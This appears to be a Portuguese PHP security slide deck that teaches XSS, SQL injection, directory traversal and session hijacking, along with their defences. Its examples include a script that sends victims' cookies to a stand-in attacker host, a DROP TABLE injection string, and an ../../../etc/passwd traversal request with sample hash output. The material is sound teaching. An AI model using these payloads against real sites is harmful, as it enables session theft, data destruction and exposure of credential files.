Você está na página 1de 32

Segurança

XSS - CROSS-SITE SCRIPTING


XSS - CROSS-SITE SCRIPTING

• Vamos supor a seguinte situação:

•O site ingenuo.com tem um fórum

• As pessoas escrevem comentários nesse fórum e eles são


salvos diretamente no banco de dados, e mostrados para todos
os visitantes
XSS - CROSS-SITE SCRIPTING

• Um usuário pode postar o seguinte comentário:

<script>
document.location =
'http://urlmalvada.com/roubar_cookies.php?cookies=' +
document.cookie
</script>
XSS - CROSS-SITE SCRIPTING

•E todos os usuários serão redirecionadas ao http://urlmalvada.com/


roubar_cookies.php passando os seus cookies do ingenuo.com
como parâmetro, possibilitando que o atacante faça session
hijacking (que veremos mais a frente)
XSS - CROSS-SITE SCRIPTING

• Em um ataque de XSS não necessariamente o código malicioso


precisa ser armazenado no servidor. Em alguns casos, ele pode ser
passado em um link, como no caso do ex-site do político José
Serra.
XSS - CROSS-SITE SCRIPTING
COMO EVITAR?

• Codificando tags da entrada do usuário:


$raw_input = ‘<a href="http://bad.site.com"><img
src="click_me.gif"></a>’;
$encoded_input = htmlspecialchars($raw_input);
echo $encoded_input;
//&lt;a href=&quot;http://bad.site.com&quot;&gt;&lt;img
src=&quot;click_me.gif&quot;
&gt;&lt;/ a&gt;
COMO EVITAR?

• Codificando tags da entrada do usuário:

• As traduções feitas são:

• '&' (ampersand) torna-se '&amp;'

• '<' (menor que) torna-se '&lt;'

• '>' (maior que) torna-se '&gt;'


COMO EVITAR?

• Removendo tags da entrada do usuário:

$input = ‘<b>Texto em negrito</b> <img src="imagem.gif" />’;


$input_sem_tags = strip_tags($input); // Contem apenas: "Texto em
negrito"
COMO EVITAR?

• API filter do PHP (http://php.net/filter)

• Built-in desde o 5.2

$campo_filtrado = filter_input(INPUT_POST,
'campo_do_form', FILTER_SANITIZE_STRING);
SQL INJECTION
SQL INJECTION

• Semelhante ao XSS, o SQL Injection também é resultado da


injeção de código malicioso, mas nesse caso o código inserido é
executado nas consultas SQL.
SQL INJECTION

• Imagine o seguinte código:

$query = "SELECT * FROM noticias WHERE id='". $_GET['id']."'";


mysql_query($query);
SQL INJECTION

• Se o $_GET[‘id’] for um número, tudo bem.

• Mas se for: 1’; DROP TABLE noticias;-- ?

• SELECT * FROM noticias WHERE id='1'; DROP TABLE


noticias;--'
COMO EVITAR?

• Maneira mais simples, no caso de parâmetros numéricos

• Fazer cast para o tipo numérico esperado

• (int)$_GET[‘id’]
COMO EVITAR?

• Tratando a string

• mysql_escape_string

• mysql_real_escape_string

$id = mysql_escape_string($_GET[‘id’]);
$query = "SELECT * FROM noticias WHERE id='". $id."'";
mysql_query($query);
COMO EVITAR?

• Prepared statement

$db = new PDO("mysql:host=localhost;dbname=database;",


"dbuser","dbpasswd");
$statement = $db->prepare("SELECT * FROM usuarios WHERE login
= :login ");
$statement->bindParam(":login",$_POST['login'],PDO::PARAM_STR);
$statement->execute();
$result = $statement->fetch();
SQL INJECTION

• Vamos testar...

• http://www.wablab.com/hackme
DIRECTORY TRAVERSAL
DIRECTORY TRAVERSAL

•O ataque de "Directory Traversal" (ou path traversal) consiste em


se aproveitar de falhas de configuração do ambiente para acessar
arquivos do servidor onde o site está sendo executado.
DIRECTORY TRAVERSAL

• Esseproblema ocorre normalmente quando na estrutura do site


existe algum arquivo "base", que dependendo dos parâmetros que
recebe na requisição insere outros arquivos no seu conteúdo. Por
exemplo em um caso extremo:

http://www.programadoringenuo.com.br/base.php?
corpo=noticia.php&id=1234
DIRECTORY TRAVERSAL

• Normalmente o atacante muda o parâmeto para ver a mensagem


de erro:
http://www.programadoringenuo.com.br/base.php?
corpo=xpto.php&id=1234

Warning: include(xpto.php) [function.include]: failed to open


stream: No such file or directory in /home2/programador_ingenuo/
public_html/index.php} on line 111
DIRECTORY TRAVERSAL
• Com isso ele já sabe o path onde o arquivo está sendo executado
e pode tentar acessar arquivos do sistema:
• http://www.programadoringenuo.com.br/base.php?corpo=../../../etc/
passwd

<html>
[...] layout base do site [...]
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
programador_ingenuo:f8fk3j1OIf31.:182:100:Developer:/home/
programador_ingenuo/:/bin/csh

[...] layout base do site [...]


</html>
COMO EVITAR?

• Não fazer include de arquivos baseado em parâmetros passados


pelo usuário

• Ou fazer uma validação do que é passado

• Ou configurar o parâmetro open_basedir do PHP para restringir


os diretórios acessíveis pelo seu script
DIRECTORY TRAVERSAL

• Vamos testar...

• http://www.wablab.com/hackme
SESSION HIJACKING
SESSION HIJACKING

• Sessões são informações gravadas temporariamente no servidor


que guardam dados referentes à navegação de um usuário. Pela
natureza stateless do HTTP, o usuário precisa sempre identificar
qual é a sua sessão, e isso é feito normalmente através de cookies
que armazenam uma identificação (id) da sessão, ou parâmetros
GET.

• Seum usuário, de alguma maneira, tem acesso ao id de sessão de


outro, ele pode alterar o seu cookie para ter o valor do ID do
outro usuário e assumir a sessão dele no site.
SESSION HIJACKING

• Um ataque de Session Hijacking pode ser iniciado por um


SESSION FIXATION, que consiste em um usuário passar para
outro um link que contém, entre os parâmetros GET, o ID da
sessão, já que esse também pode ser passado por GET ao invés
de cookie.
• http://exemplo.com/clique_aqui?SESSID=123456

• Assim o usuário que clica no link, dependendo de como o sistema


estiver implementado, irá ter atribuido à sua sessão, o ID contido
no link, e o atacante pode assumir essa sessão posteriormente
COMO EVITAR?

• Não existe solução 100% segura, mas a que vem mostrando


melhores resultados é o fato de gerar um novo ID da sessão a
cada requisição, pois isso diminui drasticamente o tamanho do
intervalo que o atacante tem para fazer o seu ataque. PHP tem
uma maneira muito simples de fazer isso:
• session_regenerate_id(true);
SESSION HIJACKING

• Vamos testar...

• http://www.wablab.com/hackme
BOAS PRÁTICAS NO PHP
• Register_globals SEMPRE off
• require ao invés de include (e não use arquivos .inc)
• Filtre toda entrada
• Erros são para a fase de desenvolvimento.
• display_errors = off, log_errors = on
• Use criptografia
• Use sempre a última versão estável e desenvolva no modo E_ALL
ou E_STRICT

Você também pode gostar